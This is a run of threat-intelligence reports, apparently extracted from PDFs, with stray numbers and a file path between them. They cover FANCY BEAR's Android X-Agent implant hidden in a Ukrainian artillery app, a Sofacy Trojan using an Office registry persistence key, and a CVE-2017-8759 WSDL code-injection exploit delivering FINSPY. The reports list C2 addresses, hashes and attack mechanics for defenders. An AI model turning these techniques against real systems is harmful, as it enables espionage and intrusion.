D-30 towed howitzer. CrowdStrike investigation reveals that this app has been utilized in a possible training or operational role in at least one unit of the Ukrainian military. Therefore, the implant likely targeted military artillery units operating against pro- Russian separatists in Eastern Ukraine. This implant represents further advancements in FANCY BEARs development of mobile malware for targeted intrusions and extends Russian cyber capabilities to the front lines of the battlefield. This Tipper builds on CrowdStrikes previous reporting by providing a timeline of events, contextual discussion regarding the potential drivers for development and deployment of the malware, and a description of the analytical process resulting in targeting assessments. Finally, this Tipper leverages these assessments, in conjunction with more recently observed activity by Russia-based adversaries, to determine the potential for any future activity in the mobile malware threat space. C R O W D S T R I K E I D E N T I F I E D T H I S X- A G E N T VA R I A N T W I T H I N A L E G I T I M AT E A N D R O I D A P P L I C AT I O N N A M E D -30.APK. T H I S A P P WA S D E V E L- O P E D A N D U S E D B Y A R T I L L E R Y T R O O P S T O S I M P L I F Y TA R G E T I N G D ATA F O R T H E D -3 0 T O W E D H O W I T Z E R Russia offers Ukraine loans and discounts on gas Referendum on Crimea/Crimean annexation Gazprom increases gas prices, Ukraine skips payment Intrusions into Ukraines Transportation Sector Presidential Elections in Ukraine DDoS and targeted intrusions in media, financial, political entities in Ukraine Malicious App Observed in Distribution on Forums Protests reach their peak, govt cracks down violently agreement reached for elections Yanukovich flees to Russia Armed men appear in unmarked uniforms in Crimea DDoS vs. NATO Pro-Russian forces begin seizing government resources in Eastern Ukraine Intrusion against Ukraines Central Election Commission Malaysia Air Flight MH17 destroyed by pro-Russian Separatists Minsk I Ceasefire Signed Video depicting use of -30 application in eastern Ukraine Earliest public reporting on the Android App developed by the Ukrainian soldier CyberBerkut Emerges J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C -3 0 D E V E L O P E D 2 0 F E B - 1 3 A P R Ukraines Parliament convenes and plans to lay foundation for EU Association Agreement UKR Pres. Yanukovych does about face on planned EU agree- ment, orients towards Russia Protest movement begins in Kiev Individual believed to be the developer promotes Android App on Russian Social Media Site vKontakte Kremlin threatens Ukraine over EU agreement Anon Ops vs. Ukraine Govt Web- sites - Defacements and DDoS 2 0 1 3 2 0 1 4 LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS ARMED CONFLICT IN UKRAINE MALICIOUS APP DISTRIBUTIONPOSSIBLE DEVELOPMENT TIME FRAME: MALICIOUS X-AGENT IMPLANT INJECT FOR -30 LATE APRIL 2013 - EARLY DECEMBER 2014 LEGEND Events associated with the Android app International Events or Diplomacy Efforts Ukrainian Domestic Affairs Targeted Intrusion, DDoS or Disinformation Russian / Ukrainian Confrontation J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C Developer of benign app promoted within Ukrainian military Pro-Russian Hacktivist Group Sprut Emerges Crimea lacks electricity after physical attack Cyber attacks against Ukrainian power stations Attack on Kiev Airport System Reported testing period for ArtOS News story associating app author as head of the ArtOS project, a joint en- deavor with the Noosphere Engineering School Forums discussing the app and claiming to be associat- ed with the developers users are called out as fraudulent some users claim copy apps are distributing malware First Minsk Ceasefire Collapses Minsk II Protocol signed Targeted intrusions against Ukraines Ministry of Defense 2 0 1 5 2 0 1 6 LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS ARMED CONFLICT IN UKRAINE MALICIOUS APP DEVELOPMENT, DEPLOYMENT, AND USAGE TIME FRAME LATE APRIL 2013 - AND BEYOND LEGEND Events associated with the Android app International Events or Diplomacy Efforts Ukrainian Domestic Affairs Targeted Intrusion, DDoS or Disinformation Russian / Ukrainian Confrontation CyberBerkut Releases Info Associated With Claimed Intrusion into Ukraines Security Service SBU CyberBerkut Defaces Bellingcat Website T H E O R I G I N A L , B E N I G N A P P L I C AT I O N E N A B L E D A R T I L L E R Y F O R C E S T O M O R E R A P I D LY P R O C E S S TA R G E T I N G D ATA F O R T H E D -3 0 H O W I T Z E R R E D U C I N G TA R G E T I N G T I M E F R O M M I N U T E S D O W N T O 1 5 S E C O N D S . T I M E L I N E O F E V E N T S DEVELO PM EN T AN D D IST RIBUT IO N PRO CES S OF T H E BEN IG N APPLICAT IO N The original application central to this discussion, -30.apk, was initially developed domestically within Ukraine by a member of the 55th Artillery Brigade. Based on the file creation timestamps as well as the app signing process, which occurred on 28 March 2013, CrowdStrike has determined that the app was developed sometime between 20 February and 13 April 2013. Shortly after that time frame, on 28 April 2013, an individual bearing the same name as the applications developer promoted the application on Russian vKontakte3 pages associated with the artillery forces. The promotion of the program was likely limited to social media, and the distribution was controlled from the authors main page, (translation: Modern combat software).4 As an additional control measure, the program was only activated for use after the developer was contacted and issued a code to the individual downloading the application. No evidence of the application has been observed on the Android app store, making it unlikely that the app was distributed via that platform. The control measures established by the developer to limit the use and proliferation of the -30.apk application, coupled with its unique purpose, make its broad distribution on the Android store improbable. At the time of this writing, it is unclear to what degree and for how long this specific application was utilized by the entirety of the Ukrainian Artillery Forces. Based on open source reporting, social media posts, and video evidence, CrowdStrike assesses that -30.apk was potentially used through 2016 by at least one artillery unit operating in eastern Ukraine. RECONNAISSANCE, DEVELOPMENT AND DISTRIBUTION OF THE MALICIOUS APPLICATION RECONNAISSANCE Given the estimated development timeframe and the promotional period for the benign -30.apk application, the program was likely available online for distribution after late April 2013. CrowdStrike Intelligence assesses that the application likely came to the attention of Russia- based adversaries around this time frame as a result of ongoing Russian reconnaissance associated with the revolution in Ukraine. Actors with a nexus to Russia regularly monitor social media sites in order to better understand or formulate operations against their targets. CrowdStrike Intelligence has noted instances in which some Russia-based actors and attribution front groups have leveraged information obtained from Ukrainian social media sites in order to perform operations. The most notable recent example of this was in the case of extortion-based threats directed against the Polish Government.5 In this particular case, the perpetrators likely sought out openly available account information from a vKontakte page belonging to a Ukrainian citizen, who was soliciting donations to aid volunteer soldiers fighting in eastern Ukraine. The adversary then used this profile information, in conjunction with the name Pravyy Sector, to make it appear as though the extortion threats against the Polish government were originating from an ultranationalist Ukrainian group. CrowdStrike has assessed that by performing this type of deceptive operation the perpetrator likely sought to make it appear as though Ukrainian interests were threatening the Polish government. In addition, because the individual account hijacked for this operation had been used to try to raise funds for Ukrainian forces, the adversary may have been trying to aggravate Western governments enough to freeze the individuals accounts. The attack did not appear to achieve its intended result. Poland rebuffed the threats, and the owner of the vKontakte page denounced any involvement in the threat. Subsequently the Pravyy Sector group scrubbed their social media page of much of the information associated with this failed operation. This particular incident is an example of how a disinformation operation is staged. While this incident is not likely to be related to the development of the X-Agent Android variant, it demonstrates the reconnaissance and pre- planning tactics that precede the rest of a campaign. Development and Distribution CrowdStrike has discovered indications that as early as 2015 FANCY BEAR likely developed X-Agent applications for the iOS environment, targeting jailbroken Apple mobile devices. The use of the X-Agent implant in the original -30.apk application appears to be the first observed case of FANCY BEAR malware developed for the Android mobile platform. On 21 December 2014 the malicious variant of the Android application was first observed in limited public distribution on a Russian language, Ukrainian military forum. A late 2014 public release would place the development timeframe for this implant sometime between late-April 2013 and early December 2014. F O R U K R A I N I A N T R O O P S , A R T I L L E R Y F O R C E S H AV E A L S O S H O U L D E R E D A H E AV Y C O S T. I N 2 Y E A R S O F C O N F L I C T, T H E Y H AV E L O S T N E A R LY 5 0 O F T H E I R A R T I L L E R Y P I E C E S A N D O V E R 8 0 O F D -3 0 H O W I T Z E R S , F A R M O R E T H A N A N Y O T H E R P I E C E O F U K R A I N I A N A R T I L L E R Y. During that proposed development timeframe, a number of significant events unfolded between Ukraine, Russia, and the international community. Most notably, Russian attempts to influence Ukrainian-EU relations resulted in the large-scale, Maidan protest movement, eventually resulting in the ouster of then-president Victor YANUKOVYCH, the invasion and annexation of the Crimean Peninsula by Russia, and the protracted armed conflict in eastern Ukraine. Therefore, the creation of an application that targets some of the front line forces pivotal in Ukrainian defense on the eastern front would likely be a high priority for Russian adversary malware developers seeking to turn the tide of the conflict in their favor. CrowdStrike Intelligence has assessed that the distribution of the malicious application targeted the very artillery units for which the benign application was developedbrigades operating in eastern Ukraine on the frontlines of the conflict with Russian-backed separatist forces during the early stages of the conflict in late-2014. This assessment is based on a number of factors, but chief among them is the likelihood that a military member would only trust and use an application designed to calculate something as critical as targeting data if it was developed and promoted by a member of their own forces. The type of operational activity described here suggests an extremely sophisticated understanding of the target that only a skilled adversary would likely possess. By late December 2014, the total number of Russian forces in the region was approximately 10,000 troops.6 Because the Android malware could facilitate gross position information, its successful deployment could have facilitated anticipatory awareness of Ukrainian artillery force troop movement, thus providing Russian forces with useful strategic planning information. Indeed, the 55th Artillery Brigade and similar artillery units operated frequently against pro-Russian separatists in eastern Ukraine. A video posted on 18 October 20157 specifically shows them employing the -30.apk application and operating in the vicinity of eastern Ukraine. The choice of the Russian language character set in the application further underscores the targeting of forces within eastern Ukraine, as Russian is the predominant language utilized in that region. An assessment of languages spoken by region based on the most recent census information illustrates the permeation of the Russian language in that region and highlights the value of providing Russian in the malicious -30.apk application. One alternative theory regarding the use of the Russian language in the application could be that targeting may have been directed at pro-Russian C R O W D S T R I K E I N T E L L I G E N C E H A S A S S E S S E D T H AT T H E D I S T R I B U T I O N O F T H E M A L I C I O U S A P P L I C AT I O N TA R G E T E D T H E V E R Y A R T I L L E R Y U N I T S F O R W H I C H T H E B E N I G N A P P L I C AT I O N WA S D E V E L O P E D B R I G A D E S O P E R AT I N G I N E A S T E R N U K R A I N E O N T H E F R O N T L I N E S O F T H E C O N F L I C T W I T H R U S S I A N - B A C K E D S E PA R AT I S T F O R C E S D U R I N G T H E E A R LY S TA G E S O F T H E C O N F L I C T I N L AT E -2 0 1 4 . forces operating in eastern Ukraine. A relevant and likely counterargument for this theory, however, is that Russian forces likely have employed fire support systems and other technologies that can already calculate targeting data, negating the need for an application to perform this task. Additionally, the application was initially developed by a member of the Ukrainian army. An opposing force would probably not adopt technology developed by the enemy for use on the battlefield. OU TC OME S AND CONCLUSION The eastern Ukrainian front has been markedly impacted by heavy fighting involving Russian troops and pro-Russian rebel fighters deployed to this region. Artillery forces on both sides of the conflict have served an important role. For Ukrainian troops, artillery forces have also shouldered a heavy cost. Open-source reporting indicates losses of almost 50 of equipment in the last 2 years of conflict amongst Ukrainian artillery forces and over 80 of D-30 howitzers were lost, far more than any other piece of Ukrainian artillery 9.9 Between July and August 2014, Russian backed forces launched some of the most decisive attacks against Ukrainian forces, resulting in significant loss of life, weaponry, and territory. According to open sources, Ukrainian service personnel from the 24th and 72nd Mechanized Brigade, as well as the 79th Airborne Brigade, were among the units to have suffered casualties. International monitoring groups later assessed some of the attacks were likely to have come from inside Russian territory.10 A malware-infected -30.apk application probably could not have provided all the necessary data required to directly facilitate the types of tactical strikes that occurred between July and August 2014. Eyewitness accounts from individuals within the impacted units reported seeing an unmanned aerial vehicle (UAV) used in the area prior to one attack, underscoring the need for precise locational data for these particular strikes and introducing the possibility U R K A N I A N R U S S I A N O T H E R U N C L E A R U R K A N I A N R U S S I A N E Q U A L L Y 92.6 78.2 35.3 37.4 19.9 2.9 16.6 38.4 34.4 34 40.425.9204.22 W E S T C E N T E R S O U T H E A S T D O N B A S S 1.6 .4 5.4 1.3 5.2 .51.9.6.9 L A N G U A G E S S P O K E N B Y R E G I O N Distribution of Russian/Ukrainian Language Use in Ukraine8 C R O W D S T R I K E I N T E L L I G E N C E A S S E S S E S A T O O L S U C H A S T H I S H A S T H E P O T E N T I A L A B I L I T Y T O M A P O U T A U N I T S C O M P O S I T I O N A N D H I E R A R C H Y, D E T E R M I N E T H E I R P L A N S , A N D E V E N T R I A N G U L AT E T H E I R A P P R O X I M AT E L O C AT I O N that the Android malware served to support the reconnaissance role of traditional battlefield assets. Although traditional overhead intelligence surveillance and reconnaissance (ISR) assets were likely still needed to finalize tactical movements, the ability of this application to retrieve communications and gross locational data from infected devices, could provide insight for further planning, coordination, and tasking of ISR, artillery assets, and fighting forces. The X-Agent Android variant does not exhibit a destructive function and does not interfere with the function of the original -30.apk application. Therefore, CrowdStrike Intelligence has assessed that the likely role of this malware is strategic in nature. The capability of the malware includes gaining access to contacts, Short Message Service (SMS) text messages, call logs, and internet data, and FANCY BEAR would likely leverage this information for its intelligence and planning value. CrowdStrike Intelligence assesses a tool such as this has the potential ability to map out a units composition and hierarchy, determine their plans, and even triangulate their approximate location. This type of strategic analysis can enable the identification of zones in which troops are operating and help prioritize assets within those zones for future targeting. Additionally, a study provided by the International Institute of Strategic Studies determined that the weapons platform bearing the highest losses between 2013 and 2016 was the D-30 towed howitzer.11 It is possible that the deployment of this malware infected application may have contributed to the high-loss nature of this platform. The development of the X-Agent Android malware represents an expansion of FANCY BEAR capabilities in terms of mobile malware, and illustrates the practical application of full-spectrum combat as envisioned in the eponymous doctrinal writings of General Valery GERASIMOV. As a part of full-spectrum operations in Ukraine, Russia-based adversaries have leveraged malware on the battlefield, in the civil sector, and against critical infrastructure. They have also engaged in aggressive information operations in the media. In relation to this broader picture of Russian computer operations, the approach to targeting mobile smartphone and tablet devices in order to gain strategic insight into communications is a tactic that cannot be disregarded. CrowdStrike assesses that the observed and described X-Agent implant targeting Ukrainian military Android devices running the -30.apk application is likely only the initial iteration of this type of malware. While this malware was initially discovered in a battlefield environment, an adversary could also leverage it in attacks against non-military targets. Mobile devices and internet-connected technology have increasingly proliferated civilian and military organizations. This technique may very likely be deployed in the political, government, or non-governmental sectors in the near future. 1-The name -30.apk is an abbreviated variant of -30 which translates to Correction-D30. 2-For more information, contact CrowdStrike 3-vKontakte is a Russian social media networking site alike in layout and functionality to Facebook. 4-http://programs-art.at.ua 5-For more information, contact CrowdStrike 6-Igor Sutyagin, Russian Forces in Ukraine, Royal United Services Institute, March 2015, https://rusi.org/sites/default/files/201503_bp_ russian_forces_in_ukraine.pdf 7-https://www.youtube.com/watch?vqp-7e_ZGH8I 8-Data for image circa 2015.
263
Note: These maps do not provide data for Crimea.
54,552
54,712
161
data/reports_final/0263.txt
Note: These maps do not provide data for Crimea. According to various sources, there are estimates suggesting that, in greater Crimea 80 speak Russian, 10 speak Ukrainian, and 10 speak Tatar. The percentage of Russian speakers is estimated to be higher in Sevastopol, most likely dues to the Russian Naval Base in the region. Source: The Razumkov Center report on The Ukranian Citizens Identity in the New Environment: Status, Trends, Regional Differences,7 June 2016, razumkov.org.ua/upload/identi-2016.pdf. 9-http://thesaker.is/ukrainian-army-losses-in-ato-anti-terrorist-operation- according-to-the-iisss-military-balance/ 10-For more information, see Origin of Artillery Attacks on Ukrainian Military Positions in Eastern Ukraine between 14 July 2014 and 8 August 2014, https://www.bellingcat.com/news/uk-and-europe/2015/02/17/ origin-of-artillery-attacks/. T H E C O L L E C T I O N O F S U C H TA C T I C A L A R T I L L E R Y F O R C E P O S I T I O N I N G I N T E L L I G E N C E B Y F A N C Y B E A R F U R T H E R S U P P O R T S C R O W D S T R I K E S P R E V I O U S A S S E S S M E N T S T H AT F A N C Y B E A R I S L I K E LY A F F I L I AT E D W I T H T H E R U S S I A N M I L I TA R Y I N T E L L I G E N C E (G R U ) New Sofacy Attacks Against US Government Agency researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ The Sofacy group, also known as APT28, is a well-known threat group that frequently conducts cyber espionage campaigns. Recently, Unit 42 identified a spear phishing e-mail from the Sofacy group that targeted the United States government. The e-mail was sent from a potentially compromised account belonging to the Ministry of Foreign Affairs of another government entity and carried the Carberp variant of the Sofacy Trojan. The developer implemented a clever persistence mechanism in the Trojan, one which had not been observed in previous attacks. The focus of this blog will be on the attacks and the infrastructure associated with Sofacy using the new persistence mechanism as a correlation point. The Delivery On May 28, 2016, attackers sent a spear-phishing e-mail to a U.S. government entity using an email address belonging to the Ministry of Foreign Affairs of another country. Analysis of the attack revealed a high likelihood that the senders email address was not spoofed and is instead a result of a compromised host or account belonging to that Ministry. The targeted email had a subject of FW: Exercise Noble Partner 2016, which is a reference to a joint NATO training effort between the United States and Georgia. The email contained an RTF file as an attachment, with the filename Exercise_Noble_Partner_16.rtf, reflecting the same training exercise. We have also seen related delivery documents with filenames that have a Russian military theme (Putin_Is_Being_Pushed_to_Prepare_for_War.rtf and Russian anti-Nato troops.rtf), purportedly targeting organizations in Poland according to a blog published by Prevenity. The RTF file is a weaponized document that attempts to exploit CVE-2015-1641 to drop two files to the system, specifically, btecache.dll and svchost.dll. The btecache.dll file is a Trojan that loads and executes svchost.dll, which is a Carberp variant the Sofacy Trojan. Surprisingly, unlike many other espionage actors who display decoy documents after successful exploitation, this RTF document does not drop or open a decoy document after exploiting the vulnerability. In the installation process, we observed the delivery document creating a very interesting registry key that it uses for persistence to run the Trojan. The path to the btecache.dll file is added to the following registry key: Software\Microsoft\Office test\Special\Perf\: C:\Users\[username]\AppData\Roaming\btecache.dll This registry key is interesting, because unlike traditional methods of maintaining persistence, it does not automatically run the btecache.dll file at system start up. Instead, this registry key will cause the DLL to load only when the user opens any Microsoft Office application, such as Word or Excel. This is the first time Unit 42 has seen the Sofacy group, or any other threat group for that matter, use this tactic for persistence purposes. An added benefit for the threat actor to using this specific tactic for persistence is that it requires user interaction to load and execute the malicious payload, which can cause challenges for detection in automated sandboxes. The Carberp variant of Sofacy The btecache.dll file is the loader Trojan that is responsible for loading the svchost.dll DLL and executing it. Both the btecache.dll and svchost.dll files contain code from the leaked Carberp source code, specifically the API resolution functions, as well as the RC2 key. The Sofacy group has used the Carberp source code in the past, specifically discussed in a blog by F-Secure, which is the reason we call this Trojan the Carberp variant. The svchost.dll file contains the bulk of the functionality of this Trojan, which at a high level is a downloader that 1/5 http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ http://malware.prevenity.com/2016/05/analiza-ataku-z-maja-2016-na-instytucje.html https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Sofacy-1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Sofacy-3-1.png allows the threat actors to gain an initial foothold on the system. The Trojan sends network beacons to its command and control (C2) serverallowing the threat actors to identify targets of interest. The threat actors can then respond to these network beacons to download and execute additional secondary payloads on the system. The Trojan delivered in this attack contains two network locations that it will send network beacons to, specifically google.com and 191.101.31.6. These beacons are sent to the legitimate website google.com as an attempt to hide the true C2 beacons sent to the actual C2 server hosted at 191.101.31.6. The network beacons are sent using HTTP POST requests with URLs created largely with random characters. There are two exceptions where random characters are not used to construct the URL, specifically the file extension that is randomly chosen from .xml, .pdf, .htm or .zip and the base64 encoded value at the end of the URL. The base64 encoded data is a string (J04aLsxVhHBkr19CYr0) hardcoded within the Trojan that it will then encrypt using a custom algorithm. Figure 1 shows an example beacon sent from the Trojan to the C2 server during analysis. Figure 1 Network Beacon Sent from Carberp variant of Sofacy The POST data seen in the beacon in Figure 1 is base64 encoded and encrypted using the same custom algorithm used to encrypt the data in the beacon URL. We decrypted the data to determine its purpose and found the cleartext seen in Figure 2. , BidI,w[System Process] System smss.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe lsm.exe svchost.exe svchost.exe svchost.exe svchost.exe 2/5 svchost.exe svchost.exe svchost.exe spoolsv.exe svchost.exe taskhost.exe userinit.exe dwm.exe explorer.exe svchost.exe cmd.exe conhost.exe reader_sl.exe svchost.exe cmd.exe conhost.exe SearchIndexer.exe SearchProtocolHost.exe SearchFilterHost.exe SearchProtocolHost.exe explorer.exe svchost.exe svchost.exe diskIDE\DiskMAXTOR_HARDDISK_________________________2.2.1___\52770a7af00.0.0 build0x7caa0e19 Figure 2 Decrypted HTTP POST Data Shows System Information The clear text of the data sent in the network beacons contains information regarding the compromised system, as well as malware-specific information. The data is comprised of the following fields of data: id The serial number of the storage device w This parameter (whose name w could change to any character between samples) begins with a one byte value denoting the OS version followed by a one byte value for the CPU architecture. These values are immediately followed by a new line delimited list of running processes on the system. disk The name of the systems hard drive, obtained from the registry key SYSTEM\CurrentControlSet\Services\Disk\Enum\0 build The hardcoded build identifier for the Trojan version inject (Optional, not displayed in Figure 2) If the Trojan injected its code into other processes to interact with the C2 server This callback data allows the threat actors to determine if the infected machine is a target of interest, as the beacon contains a list of running processes and the name of the storage device that could be used to filter out analysis systems or researchers. If the actors believe the system is of interest, they will respond to these network beacons to download and execute additional secondary payloads on the system. The Trojan parses the response to the beacons for two actions Execute and Delete between the tags [file] and [/file], as well as settings labeled FileName, PathToSave, Rundll and IP between the tags [settings] and [/settings]. This allows the threat actors to download additional files to the system, execute both executables and DLLs and delete files. 3/5 The Infrastructure The initial analyzed sample in this attack only contained a single malicious command and control location, 191.101.31.6. We have not observed this IP address used by the Sofacy group in any previous attack campaigns, and examining passive DNS data showed no other correlations to potentially related attacks. The sample also seen by Prevenity appeared to only have a single primary C2 domain, servicecdp[. ]com. This domain also appears to be newly created for this specific attack campaign, with no strong links to any previous attacks. Pivoting off the unique registry key used for persistence revealed links to a previously observed Sofacy campaign, from mid-2015. Two additional payloads with recent compile dates of March 7, 2016, were discovered using the same persistence mechanism, and analysis of those payloads revealed one primary C2 domain, munimonoce[. ]com, and three secondary C2 domains, www.wscapi[. ]com, www.tabsync[. ]net, and storsvc[. ]org. The secondary C2 domains may appear familiar, as they were widely publicized in a report from iSight Partners in July 2015 as C2 domains related to the Sofacy group aka Tsar Team. In addition, the primary C2 domain munimonoce[. ]com previously had resolved to the IP 66.172.11.207, which was previously identified as a primary C2 IP for a Sofacy payload with a compile timestamp of June 11, 2015. This particular sample also happened to use the exact same secondary C2 domains of www.wscapi[. ]com, www.tabsync[. ]net, and storsvc[. ]org, but lacked the newly discovered persistence mechanism. The Sofacy group often re-uses infrastructure components across multiple attack campaigns, whether to speed the flow of attacks, for a lack of available resources committed, or out of sheer laziness. In this case, the newer attack campaign appears to use newly created infrastructure, but still maintains some overlap with previous Sofacy-related C2s. We believe this overlap could possibly be due to an oversight when adapting a previous code base with the new persistence method discussed in this blog for the new attack campaign. The threat appears to be moving toward deployment of one-off infrastructure that can make analysis of attack campaigns and correlation more challenging. This shift stresses the importance of analysts and researchers being able to pivot on all artifacts of a given attack, not simply relying on network indicators. In this case, we were able use AutoFocus to pivot on a common registry key unique to this attack campaign to quickly identify where it correlates with characteristics of previous attacks. Conclusion The Sofacy group continues its attack campaigns on government organizations, specifically the U.S. government in this latest spear-phishing example. The threat group added a new persistence mechanism that requires user interaction by loading its payload into Microsoft Office applications when opened, which may help the actors to evade detection. The use of this new persistence method shows the continued development of tactics and 4/5 https://www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/ techniques employed by this threat group, often times in clever ways as we observed in this instance. Palo Alto Networks customers are protected from the new Sofacy Carberp variant and can gather additional information using the following tools: WildFire detection of all known samples as malicious All known C2s are classified as malicious in PAN-DB AutoFocus tags have been created SofacyCarberp Indicators Delivery Documents 03cb76bdc619fac422d2b954adfa511e7ecabc106adce804b1834581b5913bca (Exercise_Noble_Partner_16.rtf) 12572c2fc2b0298ffd4305ca532317dc8b97ddfd0a05671066fe594997ec38f5 (Putin_Is_Being_Pushed_to_Prepare_for_War.rtf and Russian anti-Nato troops.rtf) Loader Trojans c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785 (btecache.dll) be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0 (bitsprex3.dll) fbd5c2cf1c1f17402cc313fe3266b097a46e08f48b971570ef4667fbfd6b7301 (amdcache.dll) Payloads 69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261 (svchost.dll) aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632 (clconfg.dll) dfa8a85e26c07a348a854130c652dcc6d29b203ee230ce0603c83d9f11bbcacc (iprpp.dll) 57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b (clconfg.dll) Command and Control 191.101.31.6 munimonoce[. ]com wscapi[. ]com tabsync[. ]net storsvc[. ]org servicecdp[. ]com 5/5 https://autofocus.paloaltonetworks.com//tag/Unit42.SofacyCarberp New Sofacy Attacks Against US Government Agency The Delivery The Carberp variant of Sofacy The Infrastructure Conclusion Indicators Delivery Documents Loader Trojans Payloads Command and Control FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY fireeye.com /blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands. FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here. FireEye email, endpoint and network products detected the malicious documents. Vulnerability Used to Target Russian Speakers The malicious document, .doc (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5). FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a lawful intercept capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEyes Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017. CVE-2017-8759 WSDL Parser Code Injection A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System. Runtime. Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1. 1/5 https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8759 https://msdn.microsoft.com/en-us/library/ms996486.aspx https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8759 http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html http://referencesource.microsoft.com/System. Runtime. Remoting/metadata/wsdlparser.cs,6111 Figure 1: Vulnerable WSDL Parser When multiple address definitions are provided in a SOAP response, the code inserts the //base. ConfigureProxy(this. GetType(), string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System. Diagnostics. Process. Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL. 2/5 Figure 2: SOAP definition VS Generated code The In-the-Wild Attacks The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE- 2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3). Figure 3: SOAP Moniker The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System. Runtime. Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage. Figure 4 shows an example library loaded as a result of exploitation. Figure 4: DLL loaded Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named word.db from the same server. The HTA script removes the source code, compiled DLL and the PDB 3/5 https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html files from disk and then downloads and executes the FINSPY malware named left.jpg, which in spite of the .jpg extension and image/jpeg content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer. Figure 5: Live requests The malware will be placed at appdata\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor. Figure 6: Process Created Chain The Malware The left.jpg (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine among other anti-analysis techniques to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of WininetStartupMutex0. Conclusion CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to lawful intercept companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets. 4/5 It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors. Acknowledgement Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue. 5/5 FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY Vulnerability Used to Target Russian Speakers CVE-2017-8759 WSDL Parser Code Injection The In-the-Wild Attacks The Malware Conclusion Acknowledgement August 6, 2016 Strider: Cyberespionage group turns eye of Sauron on targets symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets Symantec Official Blog Low-profile group uses Remsec malware to spy on targets in Russia, China, and Europe. By: Symantec Security 